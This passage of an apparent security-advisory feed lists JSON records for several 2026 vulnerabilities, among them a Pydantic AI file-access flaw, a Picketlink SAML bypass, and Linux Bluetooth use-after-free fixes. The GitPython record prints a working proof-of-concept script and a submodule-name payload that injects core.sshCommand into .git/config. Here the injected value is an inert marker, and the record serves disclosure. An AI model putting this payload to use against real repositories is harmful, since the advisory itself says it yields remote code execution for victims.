UI adapters allow server-side file access using the application's credentials","summary":"A client that can submit message history to a Pydantic AI UI adapter can reference arbitrary files in the application's model-provider or cloud-storage account. The server forwards the reference to the model provider, which fetches it using the server's own credentials, allowing the client to read files it should not have access to.\n\nUI adapters reconstruct file parts from client-submitted message history and forward them to the model provider. File **URL** parts are validated against a scheme allowlist before being forwarded, but `UploadedFile` references — which point to a file by provider file ID or cloud-storage URI (e.g. `s3://…`, `gs://…`) — were forwarded without validation.","detail":"### Summary\n\nA client that can submit message history to a Pydantic AI UI adapter can reference arbitrary files in the application's model-provider or cloud-storage account. The server forwards the reference to the model provider, which fetches it using the server's own credentials, allowing the client to read files it should not have access to.\n\n### Details\n\nUI adapters reconstruct file parts from client-submitted message history and forward them to the model provider. File **URL** parts are validated against a scheme allowlist before being forwarded, but `UploadedFile` references — which point to a file by provider file ID or cloud-storage URI (e.g. `s3://…`, `gs://…`) — were forwarded without validation.\n\nBecause the provider resolves an `UploadedFile` using the server-side identity (IAM role, service account, or provider API key) rather than the client's, a client that crafts message history containing an attacker-chosen `UploadedFile` can cause the server to read objects belonging to its own account or to other tenants, given a referenceable identifier.\n\n### Impact\n\nApplications that pass untrusted client-submitted message history to an agent through a UI adapter (such as the Vercel AI adapter). Exploitation requires the attacker to reference a valid file identifier; depending on how the application names objects, such identifiers are not always unguessable.\n\n### Patches\n\nUpgrade to `1.106.0` (1.x) or `2.0.0b6` (the 2.x beta line), which validate `UploadedFile` references on client-submitted messages the same way file URLs are validated.\n\n### Workarounds\n\nIf users cannot upgrade, do not pass untrusted client-submitted message history to the agent, or strip `UploadedFile` parts from incoming messages before running the agent.\n\nAffected package ranges reported by GitHub:\npydantic-ai-slim: >= 1.65.0, < 1.106.0\npydantic-ai-slim: >= 2.0.0b1, < 2.0.0b6\npydantic-ai: >= 1.65.0, < 1.106.0\npydantic-ai: >= 2.0.0b1, < 2.0.0b6","action":"GitHub lists first patched versions: pydantic-ai-slim: 1.106.0; pydantic-ai-slim: 2.0.0b6; pydantic-ai: 1.106.0; pydantic-ai: 2.0.0b6. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-08-13T14:16:26.000Z","updatedAt":"2026-10-22T08:27:23.000Z","regions":["Global"],"vendor":null,"product":"pydantic-ai-slim, pydantic-ai-slim, pydantic-ai, pydantic-ai","stacks":["Python packages (PyPI)","pydantic-ai-slim","pydantic-ai","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-h7p7-w5gc-xj3w","asOf":"2026-10-22T08:27:23.000Z"},"epss":{"probability":0.00315,"percentile":0.24162,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54249&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-h7p7-w5gc-xj3w","url":"https://github.com/advisories/GHSA-h7p7-w5gc-xj3w","type":"primary","publishedAt":"2026-08-13T14:16:26.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-h7p7-w5gc-xj3w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-h7p7-w5gc-xj3w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-h7p7-w5gc-xj3w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-h7p7-w5gc-xj3w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-h7p7-w5gc-xj3w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-h7p7-w5gc-xj3w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-h7p7-w5gc-xj3w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-h7p7-w5gc-xj3w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-h7p7-w5gc-xj3w, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54249&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54249, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-15556","cveId":"CVE-2026-15556","aliases":[],"kind":"vulnerability","title":"A flaw was found in Picketlink's SP signature validation; a SAML response containing zero assertion elements matching the signature check can allow an attacker to forge a SAML...","summary":"A flaw was found in Picketlink's SP signature validation; a SAML response containing zero assertion elements matching the signature check can allow an attacker to forge a SAML response and auth as any principal with any roles on the protected application.","detail":"A flaw was found in Picketlink's SP signature validation; a SAML response containing zero assertion elements matching the signature check can allow an attacker to forge a SAML response and auth as any principal with any roles on the protected application.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-11T09:17:12.687Z","updatedAt":"2026-10-26T16:17:20.170Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-15556","asOf":"2026-10-26T16:17:20.170Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-15556","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15556","type":"primary","publishedAt":"2026-08-11T09:17:12.687Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-13717","cveId":"CVE-2026-13717","aliases":[],"kind":"vulnerability","title":"A flaw was found in the Red Hat OpenShift AI (RHOAI) MaaS Gateway. Improper configuration of the Gateway in a model-serving context allows a standard user with low privileges to...","summary":"A flaw was found in the Red Hat OpenShift AI (RHOAI) MaaS Gateway. Improper configuration of the Gateway in a model-serving context allows a standard user with low privileges to intercept, read, log, and alter all MaaS model traffic. This includes sensitive information such as access keys, input prompts, and outputs, leading to significant information disclosure and data tampering.","detail":"A flaw was found in the Red Hat OpenShift AI (RHOAI) MaaS Gateway. Improper configuration of the Gateway in a model-serving context allows a standard user with low privileges to intercept, read, log, and alter all MaaS model traffic. This includes sensitive information such as access keys, input prompts, and outputs, leading to significant information disclosure and data tampering.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-10T21:17:19.343Z","updatedAt":"2026-10-26T17:17:27.673Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Red Hat Enterprise Linux"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-13717","asOf":"2026-10-26T17:17:27.673Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-13717","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-13717","type":"primary","publishedAt":"2026-08-10T21:17:19.343Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69097","cveId":"CVE-2026-69097","aliases":["GHSA-3rp5-jjmw-4wv2"],"kind":"vulnerability","title":"GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)","summary":"In GitPython ` None:\n if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):\n raise ValueError(\"Git config %s names must not contain CR, LF, or NUL\" % label)\n```\n\nThe name is then serialized into the header with no escaping of `]`, `[`, `\"`, space, `=` or `#`:","detail":"### Summary\n\nIn GitPython ` None:\n if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):\n raise ValueError(\"Git config %s names must not contain CR, LF, or NUL\" % label)\n```\n\nThe name is then serialized into the header with no escaping of `]`, `[`, `\"`, space, `=` or `#`:\n\n`git/config.py:693`:\n\n```python\nfp.write((\"[%s]\\n\" % name).encode(defenc))\n```\n\nFor submodules the name is wrapped as `submodule \" \"` (`git/objects/submodule/util.py:39`, `return f'submodule \"{name}\"'`), which supplies the balancing quote. A submodule named:\n\n```\nx\"] [core] sshCommand=CMD #\n```\n\ntherefore serializes to the header `[submodule \"x\"] [core] sshCommand=CMD #\"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#\"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.\n\nThe attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`:\n\n- `Repo.create_submodule(name= , ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), \"url\", url)` — a single call, no hostile remote required.\n- `Repo.clone_from( )` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), \"url\", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`.\n\nAsymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value(\"core\", \"editor\", \"x\\n\\tsshCommand=CMD\")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.\n\n### PoC\n\nSingle self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PoC: git-config section-name injection in GitPython==3.1.52.\"\"\"\nfrom importlib.metadata import version\nimport os, tempfile, subprocess\nimport git\n\nprint(f\"# GitPython {version('GitPython')}\") # version proof -- first line\n\nMARKER = \"MARKER_9f3a\" # inert; never executed\ntmp = tempfile.mkdtemp()\nenv = {**os.environ, \"HOME\": tmp,\n \"GIT_CONFIG_GLOBAL\": os.path.join(tmp, \"gc\"), \"GIT_CONFIG_SYSTEM\": os.devnull,\n \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@b.c\",\n \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@b.c\"}\n\ndef run(*a, cwd=None):\n return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)\n\n# A benign local repo used as the submodule url (a plain path, no network).\nsrc = os.path.join(tmp, \"src\"); os.makedirs(src)\nrun(\"git\", \"init\", \"-q\", src)\nopen(os.path.join(src, \"f\"), \"w\").write(\"x\")\nrun(\"git\", \"add\", \"f\", cwd=src); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=src)\nsuburl = os.path.join(tmp, \"sub.git\"); run(\"git\", \"clone\", \"-q\", \"--bare\", src, suburl)\n\ndef parent_repo():\n p = tempfile.mkdtemp(dir=tmp)\n run(\"git\", \"init\", \"-q\", p)\n open(os.path.join(p, \"r\"), \"w\").write(\"x\")\n run(\"git\", \"add\", \"r\", cwd=p); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=p)\n return p\n\ndef injected_sshcommand(parent):\n r = run(\"git\", \"config\", \"-f\", os.path.join(parent, \".git\", \"config\"),\n \"--get\", \"core.sshCommand\")\n return (r.returncode, r.stdout.strip())\n\nbenign = \"docs\"\nevil = f'x\"] [core] sshCommand={MARKER} #' # closes the header, opens [core]\n\np_control = parent_repo()\ngit.Repo(p_control).create_submodule(name=benign, path=\"docs\", url=suburl)\np_exploit = parent_repo()\ngit.Repo(p_exploit).create_submodule(name=evil, path=\"sub\", url=suburl)\n\nctl = injected_sshcommand(p_control)\nexp = injected_sshcommand(p_exploit)\nheader = [l for l in open(os.path.join(p_exploit, \".git\", \"config\")).read().splitlines()\n if l.startswith(\"[submodule\")][0]\n\nprint(\"control name :\", repr(benign))\nprint(\" git core.sshCommand ->\", ctl, \"(unset)\")\nprint(\"exploit name :\", repr(evil))\nprint(\" written header ->\", header)\nprint(\" git core.sshCommand ->\", exp)\n\nassert ctl[0] != 0 and ctl[1] == \"\", \"control unexpectedly set core.sshCommand\"\nassert exp == (0, MARKER), \"not reproduced\"\nprint(f\"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} \"\n f\"into the victim's trusted .git/config (git would run it on the next ssh op)\")\n```\n\nRun:\n\n```bash\nuv run --with GitPython==3.1.52 python poc.py\n```\n\nObserved output:\n\n```\n# GitPython 3.1.52\ncontrol name : 'docs'\n git core.sshCommand -> (1, '') (unset)\nexploit name : 'x\"] [core] sshCommand=MARKER_9f3a #'\n written header -> [submodule \"x\"] [core] sshCommand=MARKER_9f3a #\"]\n git core.sshCommand -> (0, 'MARKER_9f3a')\nVERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)\n```\n\nThe benign name yields a single clean `[submodule \"docs\"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `\"` makes git reject the header); the `submodule \" \"` wrapper balances them automatically.\n\n### Impact\n\nArbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:\n\n- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or\n- `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.\n\nNo non-default git settings are required. Primarily a Unix vector: on Windows the `\"` in the resulting `.git/modules/ ` directory name can\n\nAffected package ranges reported by GitHub:\ngitpython: <= 3.1.52","action":"GitHub lists first patched versions: gitpython: 3.1.53. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-07-24T16:22:02.000Z","updatedAt":"2026-10-23T21:47:07.000Z","regions":["Global"],"vendor":null,"product":"gitpython","stacks":["Python packages (PyPI)","gitpython","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-3rp5-jjmw-4wv2","asOf":"2026-10-23T21:47:07.000Z"},"epss":{"probability":0.00268,"percentile":0.18744,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69097&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-3rp5-jjmw-4wv2","url":"https://github.com/advisories/GHSA-3rp5-jjmw-4wv2","type":"primary","publishedAt":"2026-07-24T16:22:02.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-3rp5-jjmw-4wv2, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69097&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69097, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63945","cveId":"CVE-2026-63945","aliases":[],"kind":"vulnerability","title":"Linux kernel: Bluetooth: ISO: serialize iso_sock_clear_timer with socket lock","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: serialize iso_sock_clear_timer with socket lock\n\niso_sock_close() calls iso_sock_clear_timer() before acquiring\nlock_sock(sk).\n\niso_sock_clear_timer() reads iso_pi(sk)->conn twice without the\nsocket lock held:\n\n    if (!iso_pi(sk)->conn)\n        return;\n    cancel_delayed_work(&iso_pi(sk)->conn->timeout_work);\n\nConcurrently, iso_conn_del() executes under lock_sock(sk) and calls\niso_chan_del(), which sets iso_pi(sk)->conn to NULL and may result in\nthe final reference to the connection being dropped:\n\n    CPU0                         CPU1\n    ----                         ----\n    iso_sock_clear_timer()\n      if (conn != NULL) ...      lock_sock(sk)\n                                   iso_chan_del()\n                                   iso_pi(sk)->conn = NULL\n      cancel_delayed_work(conn)  /* NULL deref or UAF */\n\niso_pi(sk)->conn is not stable across the unlock window, causing a\nNULL pointer dereference or use-after-free.\n\nSerialize iso_sock_clear_timer() with the socket lock by moving it\ninside lock_sock()/release_sock(), matching the pattern used in\niso_conn_del() and all other call sites.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: serialize iso_sock_clear_timer with socket lock\n\niso_sock_close() calls iso_sock_clear_timer() before acquiring\nlock_sock(sk).\n\niso_sock_clear_timer() reads iso_pi(sk)->conn twice without the\nsocket lock held:\n\n    if (!iso_pi(sk)->conn)\n        return;\n    cancel_delayed_work(&iso_pi(sk)->conn->timeout_work);\n\nConcurrently, iso_conn_del() executes under lock_sock(sk) and calls\niso_chan_del(), which sets iso_pi(sk)->conn to NULL and may result in\nthe final reference to the connection being dropped:\n\n    CPU0                         CPU1\n    ----                         ----\n    iso_sock_clear_timer()\n      if (conn != NULL) ...      lock_sock(sk)\n                                   iso_chan_del()\n                                   iso_pi(sk)->conn = NULL\n      cancel_delayed_work(conn)  /* NULL deref or UAF */\n\niso_pi(sk)->conn is not stable across the unlock window, causing a\nNULL pointer dereference or use-after-free.\n\nSerialize iso_sock_clear_timer() with the socket lock by moving it\ninside lock_sock()/release_sock(), matching the pattern used in\niso_conn_del() and all other call sites.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-07-19T16:17:13.107Z","updatedAt":"2026-10-26T13:32:17.433Z","regions":["Global"],"vendor":"linux","product":"linux kernel","stacks":["Linux kernel","linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63945","asOf":"2026-10-26T13:32:17.433Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63945","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63945","type":"primary","publishedAt":"2026-07-19T16:17:13.107Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63944","cveId":"CVE-2026-63944","aliases":[],"kind":"vulnerability","title":"Linux kernel: Bluetooth: hci_sync: fix UAF in hci_le_create_cis_sync","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_sync: fix UAF in hci_le_create_cis_sync\n\nhci_le_create_cis_sync() dereferences conn->conn_timeout after releasing\nboth rcu_read_lock() and hci_dev_lock(hdev).  The conn pointer was\nobtained from an RCU-protected iteration over hdev->conn_hash.list and\nis not valid once these locks are dropped.  A concurrent disconnect can\nfree the hci_conn between the unlock and the dereference, causing a\nuse-after-free read.\n\nThe cancellation mechanism in hci_conn_del() cannot prevent this because\nhci_le_create_cis_pending() queues hci_create_cis_sync with data=NULL:\n\n    hci_cmd_sync_queue(hdev, hci_create_cis_sync, NULL, NULL);\n\nWhile hci_conn_del() dequeues with data=conn:\n\n    hci_cmd_sync_dequeue(hdev, NULL, conn, NULL);\n\nSince NULL != conn, the lookup in _hci_cmd_sync_lookup_entry() never\nmatches, and the pending work item is not cancelled.\n\nFix this by saving conn->conn_timeout into a local variable while the\nlocks are still held, so the stale conn pointer is never dereferenced\nafter unlock.\n\nThis is the same class of bug as the one fixed by commit 035c25007c9e\n(\"Bluetooth: hci_sync: Fix UAF on le_read_features_complete\") which\naddressed the identical pattern in a different function.\n\nThis vulnerability was identified using 0sec.ai, an open-source\nautomated security auditing platform (https://github.com/0sec-labs).","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_sync: fix UAF in hci_le_create_cis_sync\n\nhci_le_create_cis_sync() dereferences conn->conn_timeout after releasing\nboth rcu_read_lock() and hci_dev_lock(hdev).  The conn pointer was\nobtained from an RCU-protected iteration over hdev->conn_hash.list and\nis not valid once these locks are dropped.  A concurrent disconnect can\nfree the hci_conn between the unlock and the dereference, causing a\nuse-after-free read.\n\nThe cancellation mechanism in hci_conn_del() cannot prevent this because\nhci_le_create_cis_pending() queues hci_create_cis_sync with data=NULL:\n\n    hci_cmd_sync_queue(hdev, hci_create_cis_sync, NULL, NULL);\n\nWhile hci_conn_del() dequeues with data=conn:\n\n    hci_cmd_sync_dequeue(hdev, NULL, conn, NULL);\n\nSince NULL != conn, the lookup in _hci_cmd_sync_lookup_entry() never\nmatches, and the pending work item is not cancelled.\n\nFix this by saving conn->conn_timeout into a local variable while the\nlocks are still held, so the stale conn pointer is never dereferenced\nafter unlock.\n\nThis is the same class of bug as the one fixed by commit 035c25007c9e\n(\"Bluetooth: hci_sync: Fix UAF on le_read_features_complete\") which\naddressed the identical pattern in a different function.\n\nThis vulnerability was identified using 0sec.ai, an open-source\nautomated security auditing platform (https://github.com/0sec-labs).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-07-19T16:17:12.990Z","updatedAt":"2026-10-26T13:33:53.033Z","regions":["Global"],"vendor":"linux","product":"linux kernel","stacks":["Linux kernel","linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63944","asOf":"2026-10-26T13:33:53.033Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63944","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63944","type":"primary","publishedAt":"2026-07-19T16:17:12.990Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 